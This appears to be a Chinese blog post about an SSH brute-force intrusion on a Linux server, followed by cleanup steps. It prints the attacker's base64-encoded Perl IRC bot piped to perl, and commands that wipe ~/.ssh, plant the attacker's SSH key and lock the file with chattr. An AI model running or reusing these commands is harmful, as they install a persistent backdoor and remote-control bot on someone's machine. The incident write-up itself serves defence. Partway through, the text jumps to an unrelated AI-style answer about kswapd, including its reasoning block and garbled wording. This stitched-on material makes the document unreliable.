3KCJQUklWTVNHICRfWzBdIDpcMDAxJF9bMV1cMDAxIik7Cn0Kc3ViIG1zZyB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOiRfWzFdIik7Cn0KCnN1YiBub3RpY2UgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJOT1RJQ0UgJF9bMF0gOiRfWzFdIik7Cn0KCnN1YiBvcCB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK28gJF9bMV0iKTsKfQpzdWIgZGVvcCB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gLW8gJF9bMV0iKTsKfQpzdWIgaG9wIHsKICAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK2ggJF9bMV0iKTsKfQpzdWIgZGVob3AgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdICtoICRfWzFdIik7Cn0Kc3ViIHZvaWNlIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSArdiAkX1sxXSIpOwp9CnN1YiBkZXZvaWNlIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSAtdiAkX1sxXSIpOwp9CnN1YiBiYW4gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdICtiICRfWzFdIik7Cn0Kc3ViIHVuYmFuIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSAtYiAkX1sxXSIpOwp9CnN1YiBraWNrIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiS0lDSyAkX1swXSAkX1sxXSA6JF9bMl0iKTsKfQoKc3ViIG1vZG8gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogICBzZW5kcmF3KCJNT0RFICRfWzBdICRfWzFdIik7Cn0Kc3ViIG1vZGUgeyBtb2RvKEBfKTsgfQoKc3ViIGogeyAmam9pbihAXyk7IH0Kc3ViIGpvaW4gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogICBzZW5kcmF3KCJKT0lOICRfWzBdIik7Cn0Kc3ViIHAgeyBwYXJ0KEBfKTsgfQpzdWIgcGFydCB7c2VuZHJhdygiUEFSVCAkX1swXSIpO30KCnN1YiBuaWNrIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRyYXcoIk5JQ0sgJF9bMF0iKTsKfQoKc3ViIGludml0ZSB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIklOVklURSAkX1sxXSAkX1swXSIpOwp9CnN1YiB0b3BpY28gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJUT1BJQyAkX1swXSAkX1sxXSIpOwp9CnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0KCnN1YiB3aG9pcyB7CiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsKICBzZW5kcmF3KCJXSE9JUyAkX1swXSIpOwp9CnN1YiB3aG8gewogIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgc2VuZHJhdygiV0hPICRfWzBdIik7Cn0Kc3ViIG5hbWVzIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRyYXcoIk5BTUVTICRfWzBdIik7Cn0Kc3ViIGF3YXkgewogIHNlbmRyYXcoIkFXQVkgJF9bMF0iKTsKfQpzdWIgYmFjayB7IGF3YXkoKTsgfQpzdWIgcXVpdCB7CiAgc2VuZHJhdygiUVVJVCA6JF9bMF0iKTsKICBleGl0Owp9CgojIERDQwpwYWNrYWdlIERDQzsKCnN1YiBjb25uZWN0aW9ucyB7CiAgc2xlZXAgMTsKICAgbXkgQHJlYWR5ID0gJGRjY19zZWwtPmNhbl9yZWFkKDEpOwojICAgcmV0dXJuIHVubGVzcyAoQHJlYWR5KTsKICAgZm9yZWFjaCBteSAkZmggKEByZWFkeSkgewogICAgIHNsZWVwIDE7CgogICAgIG15ICRkY2N0aXBvID0gJERDQ3skZmh9e3RpcG99OwogICAgIG15ICRhcnF1aXZvID0gJERDQ3skZmh9e2FycXVpdm99OwogICAgIG15ICRieXRlcyA9ICREQ0N7JGZofXtieXRlc307CiAgICAgbXkgJGN1cl9ieXRlID0gJERDQ3skZmh9e2N1cmJ5dGV9OwogICAgIG15ICRuaWNrID0gJERDQ3skZmh9e25pY2t9OwoKICAgICBteSAkbXNnOwogICAgIG15ICRucmVhZCA9IHN5c3JlYWQoJGZoLCAkbXNnLCAxMDI0MCk7CgogICAgIGlmICgkbnJlYWQgPT0gMCBhbmQgJGRjY3RpcG8gPX4gL14oZ2V0fHNlbmRjb24pJC8pIHsKICAgICAgICAkRENDeyRmaH17c3RhdHVzfSA9ICJDYW5jZWxhZG8iOwogICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOwogICAgICAgICRkY2Nfc2VsLT5yZW1vdmUoJGZoKTsKICAgICAgICAkZmgtPmNsb3NlOwogICAgICAgIG5leHQ7CiAgICAgfQoKICAgICBpZiAoJGRjY3RpcG8gZXEgImdldCIpIHsKICAgICAgICAkRENDeyRmaH17Y3VyYnl0ZX0gKz0gbGVuZ3RoKCRtc2cpOwoKICAgICAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRmaH17Y3VyYnl0ZX07CgogICAgICAgIG9wZW4oRklMRSwgIj4+ICRhcnF1aXZvIik7CiAgICAgICAgcHJpbnQgRklMRSAiJG1zZyIgaWYgKCRjdXJfYnl0ZSA8PSAkYnl0ZXMpOwogICAgICAgIGNsb3NlKEZJTEUpOwoKICAgICAgICBteSAkcGFja2J5dGUgPSBwYWNrKCJOIiwgJGN1cl9ieXRlKTsKICAgICAgICBwcmludCAkZmggIiRwYWNrYnl0ZSI7CgogICAgICAgIGlmICgkYnl0ZXMgPT0gJGN1cl9ieXRlKSB7CiAgICAgICAgICAgJGRjY19zZWwtPnJlbW92ZSgkZmgpOwogICAgICAgICAgICRmaC0+Y2xvc2U7CiAgICAgICAgICAgJERDQ3skZmh9e3N0YXR1c30gPSAiUmVjZWJpZG8iOwogICAgICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOwogICAgICAgICAgIG5leHQ7CiAgICAgICAgfQogICAgIH0gZWxzaWYgKCRkY2N0aXBvIGVxICJzZW5kIikgewogICAgICAgICAgbXkgJHNlbmQgPSAkZmgtPmFjY2VwdDsKICAgICAgICAgICRzZW5kLT5hdXRvZmx1c2goMSk7CiAgICAgICAgICAkZGNjX3NlbC0+YWRkKCRzZW5kKTsKICAgICAgICAgICRkY2Nfc2VsLT5yZW1vdmUoJGZoKTsKICAgICAgICAgICREQ0N7JHNlbmR9e3RpcG99ID0gJ3NlbmRjb24nOwogICAgICAgICAgJERDQ3skc2VuZH17aXRpbWV9ID0gdGltZTsKICAgICAgICAgICREQ0N7JHNlbmR9e25pY2t9ID0gJG5pY2s7CiAgICAgICAgICAkRENDeyRzZW5kfXtieXRlc30gPSAkYnl0ZXM7CiAgICAgICAgICAkRENDeyRzZW5kfXtjdXJieXRlfSA9IDA7CiAgICAgICAgICAkRENDeyRzZW5kfXthcnF1aXZvfSA9ICRhcnF1aXZvOwogICAgICAgICAgJERDQ3skc2VuZH17aXB9ID0gJHNlbmQtPnBlZXJob3N0OwogICAgICAgICAgJERDQ3skc2VuZH17cG9ydGF9ID0gJHNlbmQtPnBlZXJwb3J0OwogICAgICAgICAgJERDQ3skc2VuZH17c3RhdHVzfSA9ICJFbnZpYW5kbyI7CgogICAgICAgICAgI2RlIGNhcmEgbWFuZGEgb3MgcHJpbWVpcm8gMTAyNCBieXRlcyBkbyBhcmtpdm8uLiBvIHJlc3RvIGZpayBjb20gbyBzZW5kY29uCiAgICAgICAgICBvcGVuKEZJTEUsICI8ICRhcnF1aXZvIik7CiAgICAgICAgICBteSAkZmJ5dGVzOwogICAgICAgICAgcmVhZChGSUxFLCAkZmJ5dGVzLCAxMDI0KTsKICAgICAgICAgIHByaW50ICRzZW5kICIkZmJ5dGVzIjsKICAgICAgICAgIGNsb3NlIEZJTEU7CiMgICAgICAgICAgZGVsZXRlKCREQ0N7JGZofSk7CiAgICAgfSBlbHNpZiAoJGRjY3RpcG8gZXEgJ3NlbmRjb24nKSB7CiAgICAgICAgICBteSAkYnl0ZXNfc2VuZGVkID0gdW5wYWNrKCJOIiwgJG1zZyk7CiAgICAgICAgICAkRENDeyRmaH17Y3VyYnl0ZX0gPSAkYnl0ZXNfc2VuZGVkOwogICAgICAgICAgaWYgKCRieXRlc19zZW5kZWQgPT0gJGJ5dGVzKSB7CiAgICAgICAgICAgICAkZmgtPmNsb3NlOwogICAgICAgICAgICAgJGRjY19zZWwtPnJlbW92ZSgkZmgpOwogICAgICAgICAgICAgJERDQ3skZmh9e3N0YXR1c30gPSAiRW52aWFkbyI7CiAgICAgICAgICAgICAkRENDeyRmaH17ZnRpbWV9ID0gdGltZTsKICAgICAgICAgICAgIG5leHQ7CiAgICAgICAgICB9CiAgICAgICAgICBvcGVuKFNFTkRGSUxFLCAiPCAkYXJxdWl2byIpOwogICAgICAgICAgc2VlayhTRU5ERklMRSwgJGJ5dGVzX3NlbmRlZCwgMCk7CiAgICAgICAgICBteSAkc2VuZF9ieXRlczsKICAgICAgICAgIHJlYWQoU0VOREZJTEUsICRzZW5kX2J5dGVzLCAxMDI0KTsKICAgICAgICAgIHByaW50ICRmaCAiJHNlbmRfYnl0ZXMiOwogICAgICAgICAgY2xvc2UoU0VOREZJTEUpOwogICAgIH0KICAgfQp9CgoKc3ViIFNFTkQgewogIG15ICgkbmljaywgJGFycXVpdm8pID0gQF87CiAgdW5sZXNzICgtciAiJGFycXVpdm8iKSB7CiAgICByZXR1cm4oMCk7CiAgfQoKICBteSAkZGNjYXJrID0gJGFycXVpdm87CiAgJGRjY2FyayA9fiBzL1suKlwvXShcUyspLyQxLzsKCiAgbXkgJG1ldWlwID0gJDo6aXJjX3NlcnZlcnN7IiQ6OklSQ19jdXJfc29ja2V0In17J21ldWlwJ307CiAgbXkgJGxvbmdpcCA9IHVucGFjaygiTiIsaW5ldF9hdG9uKCRtZXVpcCkpOwoKICBteSBAZmlsZXN0YXQgPSBzdGF0KCRhcnF1aXZvKTsKICBteSAkc2l6ZV90b3RhbD0kZmlsZXN0YXRbN107CiAgaWYgKCRzaXplX3RvdGFsID09IDApIHsKICAgICByZXR1cm4oMCk7CiAgfQoKICBteSAoJHBvcnRhLCAkc2VuZHNvY2spOwogIGRvIHsKICAgIHNsZWVwIDE7CiAgICAkcG9ydGEgPSBpbnQgcmFuZCg2NDUxMSk7CiAgICAkcG9ydGEgKz0gMTAyNDsKICAgICRzZW5kc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEsIExvY2FsUG9ydCA9PiRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcpIGFuZCAkZGNjX3NlbC0+YWRkKCRzZW5kc29jayk7CiAgfSB1bnRpbCAkc2VuZHNvY2s7CgogICREQ0N7JHNlbmRzb2NrfXt0aXBvfSA9ICdzZW5kJzsKICAkRENDeyRzZW5kc29ja317bmlja30gPSAkbmljazsKICAkRENDeyRzZW5kc29ja317Ynl0ZXN9ID0gJHNpemVfdG90YWw7CiAgJERDQ3skc2VuZHNvY2t9e2FycXVpdm99ID0gJGFycXVpdm87CgoKICAmOjpjdGNwKCIkbmljayIsICJEQ0MgU0VORCAkZGNjYXJrICRsb25naXAgJHBvcnRhICRzaXplX3RvdGFsIik7Cgp9CgpzdWIgR0VUIHsKICBteSAoJGFycXVpdm8sICRkY2Nsb25naXAsICRkY2Nwb3J0YSwgJGJ5dGVzLCAkbmljaykgPSBAXzsKICByZXR1cm4oMCkgaWYgKC1lICIkYXJxdWl2byIpOwogIGlmIChvcGVuKEZJTEUsICI+ICRhcnF1aXZvIikpIHsKICAgICBjbG9zZSBGSUxFOwogIH0gZWxzZSB7CiAgICByZXR1cm4oMCk7CiAgfQoKICBteSAkZGNjaXA9Zml4YWRkcigkZGNjbG9uZ2lwKTsKICByZXR1cm4oMCkgaWYgKCRkY2Nwb3J0YSA8IDEwMjQgb3Igbm90IGRlZmluZWQgJGRjY2lwIG9yICRieXRlcyA8IDEpOwogIG15ICRkY2Nzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT4idGNwIiwgUGVlckFkZHI9PiRkY2NpcCwgUGVlclBvcnQ9PiRkY2Nwb3J0YSwgVGltZW91dD0+MTUpIG9yIHJldHVybiAoMCk7CiAgJGRjY3NvY2stPmF1dG9mbHVzaCgxKTsKICAkZGNjX3NlbC0+YWRkKCRkY2Nzb2NrKTsKICAkRENDeyRkY2Nzb2NrfXt0aXBvfSA9ICdnZXQnOwogICREQ0N7JGRjY3NvY2t9e2l0aW1lfSA9IHRpbWU7CiAgJERDQ3skZGNjc29ja317bmlja30gPSAkbmljazsKICAkRENDeyRkY2Nzb2NrfXtieXRlc30gPSAkYnl0ZXM7CiAgJERDQ3skZGNjc29ja317Y3VyYnl0ZX0gPSAwOwogICREQ0N7JGRjY3NvY2t9e2FycXVpdm99ID0gJGFycXVpdm87CiAgJERDQ3skZGNjc29ja317aXB9ID0gJGRjY2lwOwogICREQ0N7JGRjY3NvY2t9e3BvcnRhfSA9ICRkY2Nwb3J0YTsKICAkRENDeyRkY2Nzb2NrfXtzdGF0dXN9ID0gIlJlY2ViZW5kbyI7Cn0KCiMgcG8gZmljbyB4YXRvIGRlIG9yZ2FuaXphIG8gc3RhdHVzLi4gZGFpIGZpeiBlbGUgcmV0b3JuYSBvIHN0YXR1cyBkZSBhY29yZG8gY29tIG8gc29ja2V0Li4gZGFpIG8gQURNLnBsIGxpc3RhIG9zIHNvY2tldHMgZSBmYXogYXMgcGVyZ3VudGFzCnN1YiBTdGF0dXMgewogIHNsZWVwIDE7CiAgbXkgJHNvY2tldCA9IHNoaWZ0OwogIG15ICRzb2NrX3RpcG8gPSAkRENDeyRzb2NrZXR9e3RpcG99OwogIHVubGVzcyAobGMoJHNvY2tfdGlwbykgZXEgImNoYXQiKSB7CiAgICBteSAkbmljayA9ICREQ0N7JHNvY2tldH17bmlja307CiAgICBteSAkYXJxdWl2byA9ICREQ0N7JHNvY2tldH17YXJxdWl2b307CiAgICBteSAkaXRpbWUgPSAkRENDeyRzb2NrZXR9e2l0aW1lfTsKICAgIG15ICRmdGltZSA9IHRpbWU7CiAgICBteSAkc3RhdHVzID0gJERDQ3skc29ja2V0fXtzdGF0dXN9OwogICAgJGZ0aW1lID0gJERDQ3skc29ja2V0fXtmdGltZX0gaWYgZGVmaW5lZCgkRENDeyRzb2NrZXR9e2Z0aW1lfSk7CgogICAgbXkgJGRfdGltZSA9ICRmdGltZS0kaXRpbWU7CgogICAgbXkgJGN1cl9ieXRlID0gJERDQ3skc29ja2V0fXtjdXJieXRlfTsKICAgIG15ICRieXRlc190b3RhbCA9ICAkRENDeyRzb2NrZXR9e2J5dGVzfTsKCiAgICBteSAkcmF0ZSA9IDA7CiAgICAkcmF0ZSA9ICgkY3VyX2J5dGUvMTAyNCkvJGRfdGltZSBpZiAkY3VyX2J5dGUgPiAwOwogICAgbXkgJHBvcmNlbiA9ICgkY3VyX2J5dGUqMTAwKS8kYnl0ZXNfdG90YWw7CgogICAgbXkgKCRyX2R1diwgJHBfZHV2KTsKICAgIGlmICgkcmF0ZSA9fiAvXihcZCspXC4oXGQpKFxkKShcZCkvKSB7CiAgICAgICAkcl9kdXYgPSAkMzsgJHJfZHV2KysgaWYgJDQgPj0gNTsKICAgICAgICRyYXRlID0gIiQxXC4kMiIuIiRyX2R1diI7CiAgICB9CiAgICBpZiAoJHBvcmNlbiA9fiAvXihcZCspXC4oXGQpKFxkKShcZCkvKSB7CiAgICAgICAkcF9kdXYgPSAkMzsgJHBfZHV2KysgaWYgJDQgPj0gNTsKICAgICAgICRwb3JjZW4gPSAiJDFcLiQyIi4iJHBfZHV2IjsKICAgIH0KICAgIHJldHVybigiJHNvY2tfdGlwbyIsIiRzdGF0dXMiLCIkbmljayIsIiRhcnF1aXZvIiwiJGJ5dGVzX3RvdGFsIiwgIiRjdXJfYnl0ZSIsIiRkX3RpbWUiLCAiJHJhdGUiLCAiJHBvcmNlbiIpOwogIH0KCgogIHJldHVybigwKTsKfQoKCiMgZXNzZSAnc3ViIGZpeGFkZHInIGRha2kgZm9pIHBlZ28gZG8gTkVUOjpJUkM6OkRDQyBpZGVudGljbyBzb2ggY29waWVpIGUgY29sb2VpIChjb2xva2FyIG5vbWUgZG8gYXV0b3IpCnN1YiBmaXhhZGRyIHsKICBzbGVlcCAxOwogICAgbXkgKCRhZGRyZXNzKSA9IEBfOwoKICAgIGNob21wICRhZGRyZXNzOyAgICAgIyBqdXN0IGluIGNhc2UsIHNpZ2guCiAgICBpZiAoJGFkZHJlc3MgPX4gL15cZCskLykgewogICAgICAgIHJldHVybiBpbmV0X250b2EocGFjayAiTiIsICRhZGRyZXNzKTsKICAgIH0gZWxzaWYgKCRhZGRyZXNzID1+IC9eWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9JC8pIHsKICAgICAgICByZXR1cm4gJGFkZHJlc3M7CiAgICB9IGVsc2lmICgkYWRkcmVzcyA9fiB0ci9hLXpBLVovLykgeyAgICAgICAgICAgICAgICAgICAgIyBXaGVlISBPYmZ1c2NhdGlvbiEKICAgICAgICByZXR1cm4gaW5ldF9udG9hKCgoZ2V0aG9zdGJ5bmFtZSgkYWRkcmVzcykpWzRdKVswXSk7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybjsKICAgIH0KfQo=" | base64 --decode | perl


chattr -ia -R ~/.ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
chattr +ia -R ~/.ssh

还把权限给改了,不知道哪里还有后门,基本上都给他查出来了,包括进程都查了个遍


原因分析:

最大的原因其实还是因为暴力破解
我建议学学fail2ban,来防止暴力破解,我今天禁掉了超级多的ip,30多个。


解决方案:

没招,查到了之后
首先看看这个命令下面有没有非常异样的ip并得到id

ps aux | grep sshd

定时器修改查看

 crontab -l

修改

 crontab -e

下面这个是在sshd进行查pid用的命令,可以看到很多东西

 lsof -p 26020

下面这个是看网络有没有异常的,不认识的

netstat -antlp

删除脚本的这个文件

rm -rf /root/.configrc7/

这个是ps aux | grep sshd查到的pid,用来看这个用户操作了什么文件

ls -l /proc/16959/exe

这个是操作过的文件的地址

cd /dev/shm/.X7as7BBB/

下面这个是看pid的子进程,用来杀更多相关进程的

systemctl status 30714

强制删除某进程

kill -9 pid
<think>好的,我现在需要回答用户关于Linux内核内存管理中kswapd的问题。首先,用户想了解kswapd的含义和作用。根据提供的引用资料,特别是引用[1]和[3],kswapd是核心交换守护进程,负责管理虚拟内存,保持足够空闲页。 我需要先解释kswapd的基本概念,作为内核线程,负责在物理内存不足时释放页面。然后详细说明其作用,比如定期扫描页面,调整未被引用页面的年龄,将不活跃页移到磁盘。这里要注意引用中的关键点,比如内存以页为单位管理,kswapd的任务不仅是交换到交换文件,还要保证足够空闲页。 接下来,结合引用[3]中的信息,补充kswapd的工作机制,如三种处理方式:释放未修改的页、同步到磁盘后释放、交换到swap分区。这部分需要分点说明,结构清晰。可能用户对页面类型不太清楚,需要简明解释。 然后,根据引用[2]和[4],可以提到Android中的内存管理变化,比如lmkd的引入,但用户主要问题在kswapd,所以这部分简要提及即可,避免偏离主题。 需要确保使用正确的LaTeX格式,行内公式用$...$,独立公式用$$...$$,但当前内容可能涉及较少数学公式,需检查是否有必要添加。例如,可以提到页面年龄的计算方式,但引用中没有具体公式,可能不需要。 最后生成相关问题,考虑用户可能的后续疑问,如kswapd触发条件、与swap的关系、监控方法、OOM的关系,以及Android中的变化。这些问题应覆盖基本概念、工作机制和实际应用,帮助用户深入理解。 检查引用标注是否正确,每个引用来源末尾添加[^n]。确保语言口语化,避免技术术语堆砌,保持自然流畅。</think>### kswapdLinux内核内存管理中的作用解析 **1. 基本定义** kswapdLinux内核中用于虚拟内存管理的**核心交换守护进程**(Kernel Swap Daemon),属于一种特殊的内核线程[^3]。它以固定周期运行,核心任务是**维持物理内存的可用性**,防止系统因内存不足而出现性能问题。 **2. 核心作用** - **页面回收机制** 当系统检测到空闲内存低于阈值(通过`/proc/sys/vm/min_free_kbytes`设定)时,kswapd会启动扫描,优先释放**最近最少使用(LRU)的页面**。其处理方式包括: 1. 直接释放未修改的页(如缓存文件内容) 2. 将已修改的页写入磁盘后释放(称为回写) 3. 将匿名页(如进程堆内存)交换到swap分区[^1][^3] - **页面年龄管理** kswapd会周期性地减少**未被引用页面的年龄值**。当页面年龄降为0时,会被标记为可回收状态。这种机制确保长期闲置的页面优先被释放[^1]。 **3. 工作特点** - **后台异步执行**:与直接内存回收(同步、阻塞进程)不同,kswapd在后台异步工作,减少对进程性能的影响[^3]。 - **分区域管理**:根据内存区域(ZONE)的不同特性采取差异化的回收策略。 - **水位线控制**:通过`/proc/zoneinfo`中的`low`、`high`等水位线动态调整回收强度。 **4. 与Android系统的关联** 在Android系统中,kswapd与用户空间的`lmkd`(Low Memory Killer Daemon)协同工作。自Linux 4.12内核起,`lmkd`接管了进程终止决策,而kswapd仍负责底层页回收[^2]。 ```c // 内核代码示例(简化版逻辑) void kswapd_run() { while (!kthread_should_stop()) { try_to_free_pages(); // 尝试释放页面 schedule_timeout(); // 周期性休眠 } } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

嘘嘘出差

给个1分钱都行,主要看不到活人

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值